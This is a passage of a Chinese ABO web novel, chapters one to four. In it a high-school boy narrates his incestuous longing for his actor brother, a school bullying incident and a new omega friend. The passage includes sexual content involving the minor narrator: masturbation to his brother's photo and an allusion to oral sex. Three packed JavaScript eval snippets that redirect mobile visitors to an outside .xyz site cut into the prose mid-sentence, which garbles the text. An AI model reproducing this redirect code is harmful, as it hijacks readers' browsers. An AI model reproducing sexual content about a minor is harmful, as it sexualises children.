《我与哥的信息素》 1. 匿情 听说前两天刚下过一场梨霜似的雪,可惜那天我正在别省参加联赛,没能亲眼瞅见这几年才下一次的雪还挺遗憾。 不过我倒是能猜到班里的同学在当时能有多兴奋,定是迎风而摆,去操场的“泡沫”上落下自己的痕迹。 我没想到当我再次进班,他们还为我预留了惊喜。 “许纵景!”大强一见我来,就喊我的名字。 几日不见,大强的脸又圆了几分,从干瘪的薯饼变成烧饼。我不疾不徐地走过去,随即发现大强手里的杂志。 不错,学校不让带小说,这个人带杂志。很懂得规避校规。 大强晃动着杂志,大强作为beta,身材却有望分化为alpha——明明似蒲扇大小的杂志,在他手里却像路边一块钱的画本。 “景仔!你快看我发现了什么?啊等等,怎么合上了?”我刚要夸他平时是大智若愚,大强就又手忙脚乱起来。 他着急忙慌地翻了好几页,嘴里念念“在哪儿呢在哪儿呢”,我不禁怀疑他是不是在这本书里夹了三分钟后就要过期的彩券。 旋即,大强毫不避讳其他的同学,大声地喊道:“找着了!景仔你快看这是谁?” “……你可以试试你再大声一点,把老班引过来。”我虽然有些嫌弃,但还是跟着他粗短的手指看去,接着就轮到我发现彩券了,“这是!” 我紧紧抓住这本杂志,大拇指不偏不倚地戳在男人的后腿上。 我实在太过激动,毕竟这是我第一次见他拍这种照片。 那是一面占幅不大的海报,类似于每类娱乐周刊都有的“采访”环节。画报上的人像是刚拍完一组游泳广告,只穿了一条裤子,透明的水滴滴落落,椅子下是湿的一圈。我似乎都能听到拍摄现场相机闪光扑到水珠上的声音。 我知道他身材好,但不知道是擦了什么油的缘故,肩背挺直,凸出的肌肉直直发亮,腹肌更是明显,近视800度的老奶奶过来摸,指不定会问这是不是她的搓衣板,不然怎么会发出咯噔咯噔的声音。 熟悉的温顺眉眼此时却如刀锋,我也就短短对视了几秒,就想起小时候被这双交叉着的手打屁股的事,心脏像是被剥下了一层皮。 男人的旁边贴着几个黄色的楷体大字——“alpha男演员计泽诩,后起之秀”。 “你哪儿来的杂志?” “我妹为她那个omega爱豆也上了这本杂志,她买回来翻的时候我看到了这页,立马问她借过来给你看看。”大强说话尽是殷勤。 他妹追星的事我早有耳闻,据说还为此跟家里人大吵一架,而询问大强最后怎么处理的,大强说她后面自己放弃了,因为她追的爱豆塌房了。 “我早说你哥那部戏能火吧!虽然只是个男二,但有句话说的好啊,男主是女主的,男二是观众的!你哥这个男二这次赚了一把子路人缘,连杂志都上了!现在点开这个电视剧,底下评论都是找你哥的哈哈哈。”大强本想点开手机给我看看评论区的证据,我却无暇关注。 我合上杂志,认真地对大强说:“你这杂志能送给我吗?我回去找我哥道喜。” “啊这……这是我妹的,不好给你啊。”大强露出纠结都表情,眉毛拧在一起,“不过现在报刊亭都有卖,景仔你放了学随便去哪个……学校附近那个就有,你去那儿买也一样。” 我想了想反正也顺路,不怕麻烦。我把书还给大强:“好。谢了啊。” 路过的女同学看到大强手里的图,她自然认识我哥,跟我感叹:“你哥不愧是alpha,长的真好看啊。” 大强似乎句句都要绕回到我身上:“我们景仔也不弱啊,你看这鼻子眼睛,不演个戏也可惜了。” 女同学又说:“我看你在话剧社演技特别好,你就真没想法去真的试试?” 我现在心里想的都是别的事,摇头回答她:“没想法。”随后回到自己的位子上。 “景仔他怎么了?感觉精神不大好,平时不是聊到他哥他就满脸兴奋吗?” “不知道,可能联赛竞争激烈,学得快疯了,精神萎靡也是正常!” “是哦……连景仔都能疯,那那个联赛肯定都是大佬啊,咱们别打扰他了……走走走” 大强煞有介事地说着自己的推论,其他同学竟也细细听着,没人听出有什么逻辑错误。我自知没有人的精神状况能比我好,不过也懒得解释。 高二生活紧凑,感觉闷头写了一天的字就放学了。 我与同学道别,路过报刊亭时停下,买了大强的那本杂志。我爸妈借理财的名号,每日只给我十块钱,这本杂志要十五元,我庆幸平时没怎么用钱,全都攒着,随便一摸书包哪个夹层都能摸到一张褶的像是刚用它折千纸鹤的钞票。 我把杂志强行塞进排满的书包,丝毫不介意它为我增添一份重量。 我最终去了我哥家。 我哥在二十一岁开始就自己独居,我一直喜欢串门,再加上这两年我上高中,他家离得又近,家长们干脆直接为我折腾出了一间卧室,让我放学直接去我哥家,能省时间学习。 当我站在家门口时,手机响了。 我看到名字后,兴致勃勃地接起电话,情绪比学校里时高涨不少:“哥——我到家门口了——” “小景啊,我现在在超市买东西,半小时内回去,你先在家等我会儿。” 我哥那青山落雨般清亮声音就在我耳边萦绕,我低头轻踹门:“哦,那我先写试卷。” “嗯,给你带好吃的。”我哥莞尔轻笑。 我哥清楚知道我喜欢听什么语气,他过于了解我,我对他好声好气时说的话毫无反抗力,我模糊着回答:“好的,那我等你。” 我捧着挂断的手机,用备用钥匙打开门。 我哥的房子不大,比那些一线明星的几百万豪宅小太多了。我哥作为前四线,现在快有挤入三线趋势的男演员,他这间屋子的面积顶多占那些人的两个厕所。 我跟他的卧室正好对门,我的房间比本家的要小一些,但五脏俱全。有电脑也有空调,有床也有衣柜。他把送我的东西都整洁地摆在柜子里,我看着那些玩意儿,似乎他就在家里。 我哥家有一种纯天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630532|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然的檀香,勾勒出淡淡龙井泡茶味。但他不喝茶,这味道是他的香水味。 我在曾经问过他为什么有信息素还要喷香水,我哥摸着我的头说:“你不是想知道我的信息素是什么味道吗?这下你闻到了吧。”于是他所到之处总有这种味道。 在香水味飘淡之前,我急急忙忙关上门跑进我的房间,我脱下书包,将杂志摊在桌上。我随便抓起一个枕头抱在怀里,光是听到声音就有反应了,我怕是没救了。 我急不可耐地翻到那张海报,看到我哥脸的那一刻我实在是忍不住了。 我用目光勾勒我哥的身体,从脖颈到锁骨,从浅卡色的两点到遮在裆前的手指。 我好奇那双手的背后是什么样的奇山异景。听说alpha异于常人,光是进去就能让omega两眼泛白。我不禁开始想象我哥的会是什么样的。 我小时候经常跟我哥一起去澡堂,那个时候我哥的还与我现在的一样大,自从我哥分化之后,他就再也没有跟我一起去澡堂,每次我叫他,他都让我先去。 我真的要被气笑。我先去,我先去还叫什么一起泡澡啊?除了泡澡,之后就连早晨上厕所也不能跟其他兄弟一样,一个刷牙一个尿尿。 我好奇得要死,我哥也藏得天衣无缝。 “哥哥……哥哥……”我痛苦地叫着他的名字。他对我有所隐瞒,但我还是爱他。 爱慕将我冲进情欲的海里,我被我哥的目光淹没。 如同燃烧通红的废铁滋进水里,噼里啪啦地焦灼我的心脏。我的视线动得越来越快,枕头不小心碰到杂志,我的右手立马抓住要掉到地上的杂志。 “哥哥——哥哥——”我意识到没有人会听见,叫他名字的声音肆意变大。 我又来了几次,直到我的手机铃声响起。 我哥回来了,电话里找我下去帮忙拎东西。我寥寥草草地清理场地,几十张餐巾纸就这样成了其他垃圾。 我到楼下的时候,我哥正跟隔壁楼的婶婶聊天,他们见到我来了,都高兴地向我招手。 “听说你去参加联赛了?”婶婶问我。她脸上的皱纹都在说她的高兴。 我点了点头。 “真羡慕啊,我儿子要是跟小景一样我都不至于那么多白头。”婶婶摸着自己的脸颊跟我哥说。 我哥的身高比我们俩都要高,我们仨站在一起就像旋转楼梯。 楼梯的最高层原本可以用平时傲人的眼神斜看我,但他对我从来不会那样流离。 我哥微笑着看着我,双眼皮落得眼睛又长又好看。我哥一直拿我做他的骄傲,即使远去片场,听到我的成绩后都会及时报喜。更别提有别人夸我。 他一把搂过我的肩膀,饶有兴致地与婶婶说:“是啊,我们从不担心小景学习的,他从小就很乖的,都不用我们操心。” “是啊,看着就优秀……将来大学啊……” “嗯……” 只有我知道自己绝非良人,至少对我哥并不算清白。 他们在夸夸其谈我的未来,而我在我哥的臂弯里思考怎样才能摸到他的OO。 2. 匿情 “你怎么了,不开心?”大强的手在我眼前晃了晃,课桌的老寒腿都被他晃得在不停抖动。 我用膝盖抵着抽屉下方的横杠,防止大强用力过猛让我的桌子散架。 上课前的五分钟往往是最热闹的,同学慷慨激昂的声音碰撞到我的耳膜里,我遮着一直耳朵,蓝到有点不真实的天空印在窗户上,照的班里更加亮堂,我的表情一定也清晰可见,可我还是嘴硬地回答:“我很开心啊。” “撒——谎——”大强强硬地戳着我的脸颊,“你不开心的时候梨涡就没有了。” 好吧,是有一点不爽。 这个双休日本身应该是非常美满的双休,因为我这两天都跟我哥睡一窝,周五被误会梦遗的事我当然解释清楚了,我哥也表示是误会跟我道歉了。 就是这个道歉让我很不是滋味。 我哥在道歉后竟然轻笑一声,以为我听不见地低语道:“说一句就容易着急,果然还是个小孩子。” 小孩子?!你才小孩子。 小孩子会对你口吗?! 我越想越气,不悦地敲了敲书桌,假装不经意地问大强:“大强,你觉得我人怎么样?” “你?”大强对我的夸赞如滔滔江水,一股脑倾泻出来,“很牛逼,长得帅,学习好,性格好,演话剧也好……” 我将手掌挡在他的嘴前,大强眨着眼看我,我换了个问句:“我不是这个意思,我是问,我看上去很小吗?” 大强点点头,不出所料地又跑偏了:“确实挺年轻的,我妈说像你这样的小脸单眼皮将来不显老,感觉你十几年后也长这样。” 我:“……” 沟通失败。 “不是,我怀疑我自己幼稚。”我最后趴在桌上,吐出心中不快,桌面上堆积的课本有倒塌的趋势,我用手扶稳后就听大强不敢置信地惊呼:“你还幼稚?我有时候都觉得你跟我不是同龄人。我们在傻乐,你在写作业。你每次被班主任叫去,我总感觉你们俩在聊经济股票。” 大强成功把我逗笑了,我拍了拍他的肩膀说:“我家里还真有讲经济趋势的书,你要不要看。” 大强捂着耳朵作出痛苦的表情:“不!!我不要听!!太痛苦了!!” 我的心情稍微好点,回归成普通的许纵景,接着做点高中生该干的事——学习。 高二生活一成不变,我经历过的所有校园故事在不断地ctrlC and ctrlV,覆盖了我的记忆。 也许很多年后,别人回味自己的校园生活是飞舞的校服衣角、一场好看的音乐会,而我回忆校园生活,想起来的是饭菜里偶然吃到的头发丝,或者公开成绩时他人艳羡的目光。 我跟大强去吃饭时,他总是用一种与生俱来的夸张姿态与我说话。 我说你干脆别这么窃窃私语了,直接举着我的喊年级第一在这里吧。 大强乐的不行,说了句sorry。 冬天的饭菜就像打仗前阅兵,得快准狠,慢一点饭菜就凉了。我吃饭的速度被我哥养的很慢,他从小叫我细嚼慢咽,我不敢不从。 大强这边已经吃饱喝足,我夹起一筷子的菜还要分成五口吃,吃到最后酱油汤都成了膏体。大强啧啧两声,评价我像个高高在上的少爷,吃个饭能让我品出登基感。 半勺没下肚的米饭还被我含在嘴里,我斜眼看他,他的光溜滑净的碗筷下是两个被啃的像考古专家刚从地里挖出来的鸡爪。 我咽下那口米,擦了擦嘴角,捧着十天前出产的可乐回答:“管好你自己。” 饭后,我拒绝了与大强同行的邀请,独自一人前往学校隐秘的角落。那个地方信号极好但杂乱无章,看上去像是要建造但最后惨遭遗弃,我闲来就会坐在那块大石头上偷玩手机,看看我哥的电影也好。 去往那个地方得从楼与楼之间的夹缝走,这个夹缝看着很阴森,无人打理的爬山虎与高枝在头顶摇摇欲坠,挡着一半的光,正常学生都不会来。 我以为就我一个不正常,没想到今天遇到了三个。 当我走到夹缝前,发现有人堵住我的去路。这条路顶多走两个人,他们三一前一后,直接把路堵死了。 前面那位传来隐晦沙哑的声音:“让我们看看又不会少一块肉,而且你们omega不就是为这种事出生的吗?你现在吸我的信息素应该很爽吧?” 明显不是他们三个发出的男声高喊道:“爽个头啊!你个傻逼别碰我!” 骂得好。我虽然不知道发生了什么,但堵着别人去路不走,属实是傻逼。 前面那位的动作被后面两个左右护法挡住,但我瞧着应该是在拉扯什么。 “明明就是个贱货还不承认……” 我等的不耐烦了,拍了拍墙壁。 我发出的声音让他们停止粗鄙之语,三个人侧身看我,我才发现那个人手里扯着的是衣服,我视线下挪,有一个人跪在地上,倒是看不见他的脸,但听刚刚那几句脏话,想必是一位刚烈的omega。 “干嘛?”左护法不悦地瞪我。 我耸耸肩回答:“你们几个能不能让一让,挡着我路了。” 右护法打量我说:“你是beta?难怪一点没反应都没有。”他们显然以为我是一只路过的蚂蚁,不把我放在心上。 “怎么,这地方你开的,beta就不能过去了?”我毫不怕他们,双手抱臂,“还有,你们现在属于校园霸凌的范畴,不管他是不是omega,你们alpha也没有霸凌他的理由。” “兄弟,这可不能怪我们,是他乱用信息素……”左护法搓着手赔笑,他的脸就像倒着长的圆锥,alpha有他这种长相也算是玩完了。 我打断圆锥说话,装做吃惊的模样:“等等,你们该不会是想用‘他先用信息素勾引我们我们才这么对他的’来作为理由吧?只有没用的alpha才会拿信息素找借口,连这点诱惑都控制不了,那你这位alpha不是也跟你骂的这位omega是一个……” 我用口型说出“贱货”这四个字,为首的男同学果然逼急了,撞开左右护法过来就揪住的我领口,另一只掐住了我的脖子。 我感觉他的指甲在我的皮肤上乱刮。 我眉头一皱,这回去得消毒三遍。 “妈的,你再说一遍?你是不是欠揍?你不会以为你能打得过alpha吧?” 这个人绝对电视剧看多了,以为瞪起他那双小眼我就会害怕。不过他倒是长得比护法们要好看一点,但全身都带着alpha的狂妄,一看就是被父母惯坏的公子哥。 我往后看了一眼,终于看到那位被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630533|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯领子的omega,他的身后通往断壁残垣,嘴角残破躺着一点血,明明长得很柔和,眼神却冷冽得不行。 我的视线重新回到与我只有十几厘米的仁兄上,我不屑地发笑,笑得他们摸不着头脑。 我兀自大笑,笑完后冷漠地盯着他的眼睛,手指点在他的胸口正中心:“我可能是打不过你们,不过你确定要揍我吗?我要是受伤了,你能承担责任吗?” 我不怕的模样,刺激到了这个男的。 这位alpha显然将我的好心提醒是在威胁他,越发急了:“你算什么东西——” “等等!”右护法走过来握住alpha的手腕,他倒是算其中最为礼貌的,与我对视后还冲我礼貌地笑了笑,“我就说你怎么这么眼熟,你是许纵景啊。” 我嗯哼了一声。 “不好意思啊,他是新来的同学,”右护法冲我赔笑后再到那位新来的耳边说话,声音不小,我也听见了,“你记不记得老班曾经提起过好几次别的班有个beta高材生,让我们这群alpha跟他看齐,说的就是他!学校宝贝他宝贝的要死,要是他真有点磕磕碰碰,我们肯定都完蛋……而且他是beta,围堵梁赢你可以说是信息素,但欺负beta我们是没理由的。” 其实我没有他说的这么传神,我不怕他们是因为我哥也是alpha,大不了之后叫我哥过来。刚分化的alpha肯定不会比我哥这种alpha厉害。 不过我也从这件事上明白了——学习好真的能救命。 “……啧。”这位alpha显然还有点脑子,思考几秒后放开了我的衣服,还很有礼貌地和我道歉了,“对不起。” 我虚与委蛇地回答:“你们走吧,我真的想过去。” 他们一个个从我身边经过,我猜他们在刚才一定有那么几秒被我激起了信息素,因为那位omega坐在地上死死捂着鼻子发抖。 “很难闻吗?”我在他面前半蹲下,从口袋里取出随身带的抑制药。 学校为了防止出现omega、alpha发情期提前的情况,每天早晨进入学校都会分发药效短暂的抑制药丸,包括我们beta。 我反正用不着,就给他了。 “难闻的要死,果然傻逼的信息素都很傻逼。”omega骂骂咧咧地吞下药丸,脸色终于好转,他拉着我的手站起来,拍了拍有些脏乱的校服,跟我道谢,“谢谢你啊,许纵景。” “你也认识我?”我的名气难道真的有这么大吗? “他刚刚说那么大声,只要不聋的都能听见,”omega露出嘲弄的笑容,“不过我确实认识你,我看过你演的话剧。” “他们是你的同学?”我问。 “有一个是,其他只是路人,我被他们拖到这里,他们说我的劣质信息素外露,是我勾引他们过来的,”omega用袖子擦嘴,袖口染上了红色,他呸了一声,又骂了一句,“一群傻逼脑残alpha,坟头长十八个瘤子都不够他们下地狱的。” “我倒是第一次见你这样骂骂咧咧的omega。”这位同学确实是omega的标配,瘦弱,美貌,两双蒲扇般长睫毛的双眼谁看谁怜。 他顶着能吸引十多个男人为他点烟的脸,骂着最脏的话。 我竟然觉得好痛快。 3. 匿情 我遇到过的omega都很娇弱,要么喜欢贴着alpha走路,要么被欺负了就只会流着眼泪扭头跺脚。反正我没遇到过像这位一样吸食信息素后一句话三处脏话的omega。 Omega似乎拿我的这句话当做了他的夸赞,他的表情比之前要开心很多,说:“你不用omega,omega的称呼我,我叫梁赢,输赢的赢。” 梁赢是四班的,我对其他班的情况一无所知,梁赢统统告诉我了。 我们学校总共有七个alpha,四个omega,而他是其中唯一的劣质omega。 劣质omega的发情期不可控,容易被alpha左右,而alpha也很容易被他控制。他们相遇就会变成不能控制身体的工具。换谁遇到这种情况一定在得到分化单的那天跪在地上痛哭流涕自己的命运为何这样坎坷,做好仍由alpha宰割的心态。而梁赢在得到这个消息的时候,他就决定等成年后摘掉腺体。 这场不亚于换心脏的手术被他说的如此悠闲,我顿时对梁赢肃然起敬,于是我将扎根地与他共享,以示我对他的尊敬。 “那你讨厌alpha吗?”我问他。 梁赢比我要矮很多,这块我能够到地面的石头,他就只能在空中摆腿。他的太瘦了,脚踝比我要细太多了,像是一捏就碎。 梁赢回答我:“我对这个群体没有看法,毕竟也会出现有教养的alpha,说我不能一概而论。” 我忍不住点头附和:“嗯嗯,比如我哥。” 梁赢看着我,他应该是没有想到我一个beta竟然能有个alpha的哥哥:“你哥也是alpha?” “是啊。”我没提我哥的演员身份。 “看样子你哥确实不错。都说兄弟间最爱互损,你能这么夸你哥哥,他对你应该很好。”梁赢对我笑了笑。 这位梁赢属实是大强喜欢的类型,要是今天不是我而是大强,他此时已经拉着梁赢的手表白了。 我对我哥用情至深,梁赢的美貌在我这里不如我哥在我耳边叫我“小景”。 “……小景,小景?” 我眼前的梁赢逐渐变成了我哥的模样,我身后不再是碎石绿荫,有的只是一面白墙。屁股下的大石块上,也变成了沙发。 “啊——”我呆呆地回应,这才想起我早在十分钟前回到家了,现在正在沙发上接受我哥的碘酒治疗。 他不提,我都没注意到我脖子上被抓出了伤。 梁赢骂的没错,那些alpha就是大傻逼,好好说话不行啊,把我脖子都拗破了皮。 “发什么呆呢,我问你怎么弄的。”我哥大约是为我的不专注而感到不悦,使用棉签的力度稍微变重了一点。 我感觉我的皮肉被戳到了,身子一震,忍不住抓住我哥的手腕委屈哀求:“哥……嘶——疼啊。” “知道疼了,我问你话呢。”他嘴上虽然很强硬,但手上的力度又变回轻轻柔柔的,好似怕我皱一下眉头。 “就是……助人为乐被狗挠的。”我才发现他是蹲着帮我擦伤口的。我的头不敢乱动,只能眼睛尽力往下瞄,期待我能看到什么好东西。 然后就看见了高领毛衣。 切。没意思。 我索然无味,乖乖地任他宰割,他就像专业的临床护士,每碰一下都是我的痛点……我竟然觉得有点爽。 等等,我将来的xp不会是窒息吧? 我跟他撒娇,希望他手下留情:“哥……真的痛……”我的语气要是让梁赢知道了,他肯定会大翻白眼说我比omega还要矫情。 他懂什么,这叫恃宠而骄。 可惜我这招在今天没有用了,我哥像是青天白日见了鬼,眼里尽是我看不懂的东西。 不过我知道他很不高兴,因为他的声音比往常要更冷静,更没有人情味,就像是冰冷的机器在讽刺人:“哦。助人为乐的时候怎么不怕痛了?” 我不敢回答,我感觉只要我接下来说错一句,他就能突破分化的防线让我闻到爆发的信息素。 我又怕又可惜。 我猜现在这个家里就连玻璃中的流水都是信息素的气味,可惜我一口都饮不了。 虽然我不知道自己哪里错了,但为了平息我哥的怒火,我还是低头道歉:“对不起,我错了。” 我尽可能说得委屈点,敲打他柔软的心。 我的心愿达成了,为我上药的手停了停,随后我听到他的叹气:“唉……我不是说你帮别人不对,我是怕你出事,小景。你从小就很有自己的主见,有自己衡量是非的标准,你不怕别人的态度是很好,但你记得吗?你小时候为了帮我们家对门的小妹妹引开野狗,最后选择以身试险,自己被狗追了半个小区,要不是有大人眼疾手快抓住了狗,我现在还能看见你吗?还有那次帮人抬柱子,你的手差点被压骨折了……” 这些事我当然记得,它们都是让我被他打屁股的回忆。 我小时候确实是莽撞了一点,做什么事都是身体比脑子更快行动,现在经过知识的洗礼,学到了“明哲保身”这个词后,这种问题已经改善了很多。 其实我哥不说我还没发现,我竟然还是个英雄主义啊。我以为我是标准的利己主义。 我哥将药箱盖上,看来我的训诫也结束了。 从刚才开始我就像个偷渡者一样胆战心惊,现在正要舒一口气,双手就被温暖裹住了。 我哥的手在寒霜的冬日里尽是暖和热腾的,这股热气从我的指尖蔓延,好像我的手都变暖和了。 我怔住了,用俯视的姿态望着他,而他看我的眼神就像在看被锁在高塔上唯一的郁金香。我被王储钦定奉为国花,命令我要用一种永恒存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630534|172532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良的姿态对待任何事物,子民将我的出生奉为神谕,他却爬上高塔说他好担心我。 “小景,我知道你是自由的,但你得考虑自身的情况。我每次回想起那些时候,我就害怕……害怕在某天真的失去你了,”他的额头抵在我的手侧,虔诚地像是在对谁祈祷,胸口剧烈的起伏,我都想象出他的信息素在此时有多不稳定,“我现在就庆幸你是beta,你要是omega……我简直不敢想象他们会对你怎么样……哪怕是在学校里,那也不安全……” 看来那个alpha在我身上残留了信息素的气味,我哥找到了蛛丝马迹,他猜到我今天到底发生什么了。 我差点怀疑我是在世佛陀,他起诵念经,求我听他的话,求我渡他。可惜我对佛教一无所知,十几本经文里只会背一句“阿弥陀佛”。 我明白他为什么担心我,因为在我差点死过,理由就是因为我救了一只掉进水里的猫。最后猫救上来了,我在医院里躺了一个礼拜,我记得我醒来的时候,他就坐在床边,眼眶很红,看着像刚刚哭过。 我喘着起对他说出清醒后的第一句话——我想尿尿。他又是无语又是无奈,最后擦了擦眼睛,还是抱我去厕所了。 我妈说还好他们发现的早,找了好多人来救我,不然我现在哪有高考的命。 我的命运是坎坷的,但结局是幸运的。我爸说因为我太不听话了,上天不喜欢不听话的小孩,于是没有带我走。 但我觉得应该是医护人员的功劳。 “我错了,我不会这样了。”我挣开我哥的手,反手抱住了他的脑袋。这些夜晚都是我躺在他的怀里,现在他的鼻梁倚靠我的校服。 我闻着他洗发水的味道,就像陷入藕花深处。 我突然又羡慕起我的校服了,它抢先一步和我哥亲嘴。要不你也奖励我一个吻吧,就当我这么多年受尽苦难的一些奖励。 但我没有说出口,因为他的双臂从我的腋下绕过,环住我的腰,在沉闷的空气中逐渐发力,像是要将我的骨头捏碎成渣,融进他的呼吸里。 我哥的信息素一定盖过了那个alpha的气味。我想。我要真是omega,我此时肯定被信息素侵略到发情腿软,后面湿漉漉的不行,身子流淌着被标记的欲望,以信息素为由尽情地贴在我哥的怀里。 就那本《人的物种调论》写的一样,omega与alpha最后会展开一场忘记自己是谁的爱。 还好我不是omega,否则就不能清醒地听他朝我的心脏说:“小景,我们不能失去你。” 我知道他口中的“我们”,指的我的家人,朋友。 而我恬不知耻地偷偷删句改词,将这句话变为“小景,哥哥不能失去你,我好爱你,我没有你不行”连同脖子上的红痕载入我的记忆史册。 标题为:人不要脸,天下无敌。 4. 匿情 我以为经过这个拥抱,我跟我哥的关系就有了质的飞跃。但他仍旧把我当小孩子对待,做的好了就摸我的脑袋,做的差了就捏我的脸。 我就像是一个脸皮柔软的玩偶,客人开心了就能戳我的脖颈让我播报语音。我不想当玩偶,我想成为命令他的主人——让他被锁链绑住脖颈,呼之即来挥之即去。 我也幻想过他是位暴君,可我哥真的太温良了,我想象都后面都是他指着我说:来人!将这个贱奴养的白白胖胖的,瘦一斤你们就都别想活! 我每天吃着他做的菜,没胖十斤都是我运气好。 这天周三,我写完作业时间还早,我躺在床上看着我哥的电视剧。因为我的床单都换了一遍,我也不好再拿有老鼠这个荒唐的谎话继续跟我哥睡,只能遗憾退场,回归独立高中生人设。 堆积如山的作业本压抑着我的卧室,似乎在告诉我这才是正常高中生该面对的东西,而不是像我这样躺在黑漆漆的房间里看自己哥哥的电视剧这那。 我在看到他与女二亲密的戏码时总觉得有些违和感,最后终于发现问题所在。 我与他的关系不就像他手里的玫瑰花吗?重要,但他不会亲玫瑰花,他会亲面前的这位女人。 我哥穿得像一位白马王子,第一次看他穿燕尾服,真的很好看。 “我真的很爱你。” 在他说完的下一秒,我悲哀地看着他们俩接吻。 摄影师也是个鬼才,斡旋的镜头像是某动画里一直唱歌跳舞的公主,从上到下,从近到远,再去拍他们俩旁边的棕榈叶,就差把导演组拍给我看。 我对那位明艳的女演员没有兴趣,我对我哥的吻技很感兴趣。 他吻得意乱情迷,我差点都以为他是真心。最后我还是从他疏离的眼神中看出这是演戏。因为我见过他爱一个人的样子,虽然那个人不是我,但我依旧记得。 至少绝不是这样的吻别。 我的记忆力很好,记得很多关于他的事,有些事他本人都忘了,而我还铭记于心。 我见证过我哥的情史,从他拉着我的手让我称那个人为林姐姐,再到他们俩坐在沙发的两边互不搭理,最后到我哥颓废地坐在床头盯着手机久久没听见我喊他,只用了一年半的时间。 现在已经过去三年,我哥已经彻底放下了,他们时常还会见面。不过那个姐姐很喜欢我,所以他们聚餐都会叫我去。 我也挺想看看他们会不会旧情复燃的,于是每次都答应。不过看他们问对方什么时候找对象,调侃是不是忘不了自己,我就知道他们彻底没戏了。 等我从回忆里出来,手机里的俩人说完台词开始第二次接吻。 “有完没完啊?!”我最终摔了手机。 手机狠狠趴在床上,一动也不动,但声音还是他们粘腻的水声。我对电视剧里无可奈何,但我可以对现实里的人有所动作。 我抓着手机起身,走到面对满桌子剧本的我哥旁边,他正要喝水,我将手机举到他的面前:“哥,我在看你接吻。” “咳咳。”我哥的手一晃,差点跟我那天一样洒出来。 他慌张地质问我为什么在看这一段,我委屈地说我也想跳过,但这一集他基本都在接吻。 我问他接吻的滋味好吗。 我哥突然变得警惕,卷起薄一点的剧本纸往我脑袋上一敲,接下来说的话让我哭笑不得:“你还有一年就高考了,等高考结束了再想谈恋爱的事。” 我知道我被误会了,我除了他还能喜欢谁啊? 我捂着脑袋委屈地回答:“ 我只是问一下。” “那就好。”他满意地收手。 我问他现在有没有暧昧的人,他摇头否认。 否认的很快,我想是真话。 “好吧,那我也不谈。”我喂我哥吃定心丸。 但发泄欲望是人之常情吧,我不谈恋爱,我对你有幻想总可以吧。我的逻辑并没有毛病,至少我觉得。 于是我又背着我哥偷偷闻着他的香气…… 别人正大光明地与他接吻,而我只能躲在阴暗的房间里幻想与他做恨的模样,连里面亲吻的画面都是用电视剧里的镜头。更重要的是,我竟然甘之如饴。 我承认,我就是个阴暗的人。 不过阴暗b马上就要过生日了,生日那天我提什么要求我哥都不能反抗,翻身做主人的日子马上就要了。 虽然现在的我也提不了什么要求,但一起睡觉,搂搂抱抱这种还是可以的。天知道自从一起睡过那三天后,我现在没胸肌贴着脸就很难入睡。 想想能和我哥一起睡我就很开心,这种喜悦都传到学校里了。大强一下子发现我这几天心情很好。 “景仔!你猜我准备送你什么礼物?”大强神神秘秘地说。 “不知道,但你送的我铁定都喜欢。”我说。 这是真话,大强送我众多礼物中,我就没有一样是讨厌的。 “妈呀,给我感动的——”大强捂着心脏说,“这世界感恩有你。” 大强的闹腾引来路过的同学,他们听大强提起我那临近的生日,比我这个当事人还兴奋。 “什么什么?景仔要生日了?!” “妈呀,我都没想好买什么!我回答就去看!” “这不高低送辆劳斯莱斯优惠券啊?!哈哈哈——” 我见围观的同学越来越多,我急忙摆手劝他们:“不用那么客气的,咱们都是学生哪来那么多钱,你们意思意思就可以了。” 而且我更在乎我哥送我什么。 我一说完,就有个同学附和:“不行,我就算砸锅卖铁也得给景仔凑个礼物!” 一下子逗笑大部分同学。 班主任掐着点来班里,招呼了几声,众人如群鸟哄散开了,顿时书声琅琅。 大强走之前还不忘跟我使眼色,像是在说一切都包在他身上,我感谢他的努力。 下课后我来到扎根地,又遇到了梁赢。 我来的时候他正全神贯注地背诵英语,他俨然将这里当成冥想圣地,助他摆脱班里的那几个傻逼alpha的骚扰。 那些人这几天倒挺乖巧,没有再来骚扰他。 梁赢也知道我生日将至,他说他不知道我喜欢什么,想不出送我什么。 我说没关系,只要说声生日快乐就行,梁赢却怎么也不肯。 “这怎么行,你帮过我,我于情于理都得送你个礼物,”梁赢想了想,问我,“实在不行,现金你收吗?” 我以为他是开玩笑,笑道:“……你不会是富二代吧?这么大方。” 结果梁赢竟然点头了。他确确实实是位富二代,因为他能准确地说出富豪榜排名第七位的身高体重情感状况,更关键的是他的手机里有他们一家八口的全家福,站在最前面的就是他。 梁赢见我震惊,竟说:“我没提过吗?” 